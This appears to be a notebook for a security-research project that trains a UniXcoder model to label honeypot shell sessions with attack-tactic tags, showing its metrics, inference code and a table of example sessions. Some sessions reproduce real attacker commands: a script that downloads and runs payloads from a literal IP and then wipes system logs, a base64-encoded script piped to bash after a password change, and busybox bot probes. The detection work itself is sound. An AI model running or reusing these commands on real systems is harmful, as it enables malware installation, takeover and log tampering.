epoch 20: {'token_accuracy': 0.522508038585209, 'token_f1': 0.20024063471202047}
epoch 21: {'token_accuracy': 0.5254937988056959, 'token_f1': 0.20122253529032935}
epoch 22: {'token_accuracy': 0.5305466237942122, 'token_f1': 0.20294606357073325}
epoch 23: {'token_accuracy': 0.5333027101515847, 'token_f1': 0.2042480282050969}
epoch 24: {'token_accuracy': 0.5349104271933854, 'token_f1': 0.2047873874977535}
epoch 25: {'token_accuracy': 0.5367478180983004, 'token_f1': 0.20544225185254042}
epoch 26: {'token_accuracy': 0.539503904455673, 'token_f1': 0.20637984304375603}
epoch 27: {'token_accuracy': 0.5399632521819017, 'token_f1': 0.20651985007521517}
epoch 28: {'token_accuracy': 0.5404225999081305, 'token_f1': 0.20668291467401353}
epoch 29: {'token_accuracy': 0.5411116214974736, 'token_f1': 0.2069381741295982}
# Evaluation
best_model_unix_lastPoint.eval()
full_predictions, full_labels = [], []
for batch in unix_test_dataloader:
batch = {key:value.to(device) for key, value in batch.items()}
with torch.no_grad():
# Another way to pass the items to the model
outputs = best_model_unix_freeze_only_head(**batch)
# Extract the predictions
predictions = outputs.logits.argmax(dim=-1)
labels = batch["labels"]
true_predictions, true_labels = postprocess(predictions, labels)
full_predictions+=true_predictions
full_labels+=true_labels
test_metrics = compute_metrics(full_predictions, full_labels)
for key in ["token_accuracy", "token_f1", "token_precision", "token_recall"]:
print(f"{key:<20}: {test_metrics[key]*100:6.2f}%")
compute_confusion_matrix(full_predictions, full_labels, normalize=False)
compute_confusion_matrix(full_predictions, full_labels, normalize=True)
token_accuracy : 49.66% token_f1 : 17.59% token_precision : 26.27% token_recall : 18.75%
array([[3.09734513e-01, 6.24013394e-01, 4.56828510e-02, 1.19588615e-03,
2.39177230e-03, 8.61038029e-03, 8.37120306e-03],
[5.78788361e-02, 8.87581491e-01, 3.41866751e-02, 6.99634282e-03,
4.77023374e-04, 2.06710129e-03, 1.08125298e-02],
[2.79787747e-02, 8.87602508e-01, 8.44187168e-02, 0.00000000e+00,
0.00000000e+00, 0.00000000e+00, 0.00000000e+00],
[1.49484536e-01, 7.44845361e-01, 6.44329897e-02, 7.73195876e-03,
5.15463918e-03, 1.28865979e-02, 1.54639175e-02],
[3.00606061e-01, 6.29090909e-01, 3.75757576e-02, 3.63636364e-03,
1.57575758e-02, 9.69696970e-03, 3.63636364e-03],
[2.85024155e-01, 4.29951691e-01, 2.75362319e-01, 0.00000000e+00,
9.66183575e-03, 0.00000000e+00, 0.00000000e+00],
[8.05860806e-02, 6.66666667e-01, 2.38095238e-01, 3.66300366e-03,
3.66300366e-03, 0.00000000e+00, 7.32600733e-03]])
# TASK4
df = pd.read_csv('cyberlab.csv')
# Hyperparameters
batch_size = 16
max_word_length = 30
max_session_tokens = 512
best_model_unix_4 = deepcopy(best_model_unix)
# Device configuration
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"Using device: {device}")
best_model_unix_4.to(device)
best_model_unix_4.eval()
#full_predictions, full_labels = [], []
# Preprocess sessions
sessions = [s.split() for s in df['session'].tolist()]
sessions = [[w[:max_word_length] for w in sess] for sess in sessions]
# Load tokenizer
# use_fast=True per velocità e add_prefix_space per modelli RoBERTa
tokenizer = AutoTokenizer.from_pretrained(model2, use_fast=True)
tokenizer.add_prefix_space = True
# Batch inference with progress bar
results = []
for start_idx in tqdm(range(0, len(sessions), batch_size), desc="Inference batches"):
batch = sessions[start_idx : start_idx + batch_size]
encoding = tokenizer(
batch,
is_split_into_words=True,
return_tensors='pt',
truncation=True,
max_length=max_session_tokens,
padding=True
)
# Recupera word_ids prima di inviare a device
batch_word_ids = [encoding.word_ids(batch_index=i) for i in range(len(batch))]
inputs = {k: v.to(device) for k, v in encoding.items()}
# Forward pass
with torch.no_grad():
outputs = best_model_unix_4(**inputs)
pred_ids = torch.argmax(outputs.logits, dim=-1).cpu().tolist()
# Estrai un tag per parola
for batch_i, ids in enumerate(pred_ids):
word_ids = batch_word_ids[batch_i]
seen = set()
tags = []
for tok_i, wid in enumerate(word_ids):
if wid is None or wid in seen:
continue
seen.add(wid)
tags.append(id2label[ids[tok_i]])
results.append(tags)
# Salva risultati nel CSV
output_path = 'inference.csv'
df['predicted_tags'] = results
df.to_csv(output_path, index=False)
print(f"Inference complete. Results saved to {output_path}.")
print(df["predicted_tags"])
Using device: cuda
loading file vocab.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/vocab.json loading file merges.txt from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/merges.txt loading file tokenizer.json from cache at None loading file added_tokens.json from cache at None loading file special_tokens_map.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/special_tokens_map.json loading file tokenizer_config.json from cache at /root/.cache/huggingface/hub/models--microsoft--unixcoder-base/snapshots/5604afdc964f6c53782a6813140ade5216b99006/tokenizer_config.json loading file chat_template.jinja from cache at None
Inference complete. Results saved to inference.csv.
0 [Discovery, Discovery, Discovery, Discovery, D...
1 [Discovery, Discovery, Discovery, Discovery, D...
2 [Discovery, Discovery, Discovery, Discovery, D...
3 [Discovery, Discovery, Discovery, Discovery, D...
4 [Discovery, Discovery, Discovery, Discovery, D...
...
174257 [Discovery, Discovery, Discovery, Discovery, D...
174258 [Discovery, Discovery, Discovery, Discovery, D...
174259 [Discovery, Discovery, Discovery, Discovery, D...
174260 [Discovery, Discovery, Discovery, Discovery, D...
174261 [Discovery, Discovery, Discovery, Discovery, D...
Name: predicted_tags, Length: 174262, dtype: object
df_inf = pd.read_csv(output_path)
print(df_inf.head())
session \
0 enable ; system ; shell ; sh ; cat /proc/mount...
1 enable ; system ; shell ; sh ; cat /proc/mount...
2 enable ; system ; shell ; sh ; cat /proc/mount...
3 enable ; system ; shell ; sh ; cat /proc/mount...
4 enable ; system ; shell ; sh ; cat /proc/mount...
timestamps_statements country_name \
0 2019-09-01 00:00:10.493808+00:00 Israel
1 2019-09-01 00:38:41.134935+00:00 Israel
2 2019-09-01 00:39:26.263383+00:00 Israel
3 2019-09-01 00:40:45.132152+00:00 Israel
4 2019-09-01 00:54:51.783935+00:00 Israel
predicted_tags
0 ['Discovery', 'Discovery', 'Discovery', 'Disco...
1 ['Discovery', 'Discovery', 'Discovery', 'Disco...
2 ['Discovery', 'Discovery', 'Discovery', 'Disco...
3 ['Discovery', 'Discovery', 'Discovery', 'Disco...
4 ['Discovery', 'Discovery', 'Discovery', 'Disco...
import ast
# Parse the predicted_tags column from string to list if necessary
df_inf['predicted_tags'] = df_inf['predicted_tags'].apply(lambda x: ast.literal_eval(x) if isinstance(x, str) else x)
# Define commands of interest
commands = ['cat', 'grep', 'echo', 'rm']
# Gather occurrences of each command and its predicted tag
records = []
for _, row in df.iterrows():
words = row['session'].split()
tags = row['predicted_tags']
for w, t in zip(words, tags):
if w in commands:
records.append({
'command': w,
'predicted_tag': t,
'session': row['session']
})
rec_df = pd.DataFrame(records)
# --- Tabella di frequenza comando × tag ---
freq_df = pd.crosstab(rec_df['command'], rec_df['predicted_tag'])
# --- Primo esempio per ogni (command, tag) ---
example_df = (
rec_df
.groupby(['command', 'predicted_tag'], as_index=False)
.first()[['command','predicted_tag','session']]
)
# --- Stampa in Markdown ---
print("### Frequenze per comando e tag\n")
print(freq_df.to_markdown())
print("\n### Esempi di sessioni per (comando, tag)\n")
print(example_df.to_markdown(index=False))
### Frequenze per comando e tag
| command | Defense Evasion | Discovery | Execution | Impact | Not Malicious Yet | Other | Persistence |
|:----------|------------------:|------------:|------------:|---------:|--------------------:|--------:|--------------:|
| cat | 2 | 860979 | 583 | 0 | 1 | 0 | 0 |
| echo | 109 | 421927 | 119104 | 5 | 26178 | 232 | 192125 |
| grep | 0 | 995805 | 0 | 0 | 0 | 0 | 569 |
| rm | 34058 | 293489 | 12046 | 0 | 4 | 0 | 5432 |
### Esempi di sessioni per (comando, tag)
| command | predicted_tag | session |
|:----------|:------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| cat | Defense Evasion | wdir="/bin" |
| | | for i in "/bin" "/home" "/root" "/tmp" "/usr" "/etc" |
| | | do |
| | | if [ -w $i ] |
| | | then |
| | | wdir=$i |
| | | break |
| | | fi |
| | | done |
| | | cd $wdir |
| | | curl http://63.141.231.126/w.txt -o ygljglkjgfg0 |
| | | chmod +x ygljglkjgfg0 |
| | | ./ygljglkjgfg0 |
| | | wget http://63.141.231.126/w.txt -O ygljglkjgfg1 |
| | | chmod +x ygljglkjgfg1 |
| | | ./ygljglkjgfg1 |
| | | good http://63.141.231.126/w.txt -O ygljglkjgfg2 |
| | | chmod +x ygljglkjgfg2 |
| | | ./ygljglkjgfg2 |
| | | sleep 2 |
| | | wget http://63.141.231.126/g.txt -O sdf3fslsdf13 |
| | | chmod +x sdf3fslsdf13 |
| | | ./sdf3fslsdf13 |
| | | good http://63.141.231.126/g.txt -O sdf3fslsdf14 |
| | | chmod +x sdf3fslsdf14 |
| | | ./sdf3fslsdf14 |
| | | curl http://63.141.231.126/g.txt -o sdf3fslsdf15 |
| | | chmod +x sdf3fslsdf15 |
| | | ./sdf3fslsdf15 |
| | | sleep 2 |
| | | mv /usr/bin/wget /usr/bin/good |
| | | mv /bin/wget /bin/good |
| | | cat /dev/null >/root/.bash_history |
| | | cat /dev/null > /var/log/wtmp |
| | | cat /dev/null > /var/log/btmp |
| | | cat /dev/null > /var/log/lastlog |
| | | cat /dev/null > /var/log/secure |
| | | cat /dev/null > /var/log/boot.log |
| | | cat /dev/null > /var/log/cron |
| | | cat /dev/null > /var/log/dmesg |
| | | cat /dev/null > /var/log/firewalld |
| | | cat /dev/null > /var/log/maillog |
| | | cat /dev/null > /var/log/messages |
| | | cat /dev/null > /var/log/spooler |
| | | cat /dev/null > /var/log/syslog |
| | | cat /dev/null > /var/log/tallylog |
| | | cat /dev/null > /var/log/yum.log |
| | | cat /dev/null >/root/.bash_history |
| | | ls -la /etc/daemon.cfg |
| | | exit $? ; /bin/skhqwensw ; ls -la /etc/daemon.cfg |
| cat | Discovery | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox TIPZU ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TIPZU ; tftp; wget; /bin/busybox TIPZU ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox TIPZU ; rm .s; exit |
| cat | Execution | cat /proc/cpuinfo | grep name | wc -l ; echo -e "raspberrypi\nlJiIZEMXiUpA\nlJiIZEMXiUpA"|passwd|bash ; Enter new UNIX password: ; echo "raspberrypi\nlJiIZEMXiUpA\nlJiIZEMXiUpA\n"|passwd ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "pi raspberrypi" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash |
| cat | Not Malicious Yet | cat /etc/issue | nproc |
| echo | Defense Evasion | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox VPJLY ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VPJLY ; tftp; wget; /bin/busybox VPJLY ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox VPJLY ; rm .s; exit |
| echo | Discovery | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox TIPZU ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TIPZU ; tftp; wget; /bin/busybox TIPZU ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox TIPZU ; rm .s; exit |
| echo | Execution | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox HQWTJ ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HQWTJ ; tftp; wget; /bin/busybox HQWTJ ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox HQWTJ ; rm .s; exit |
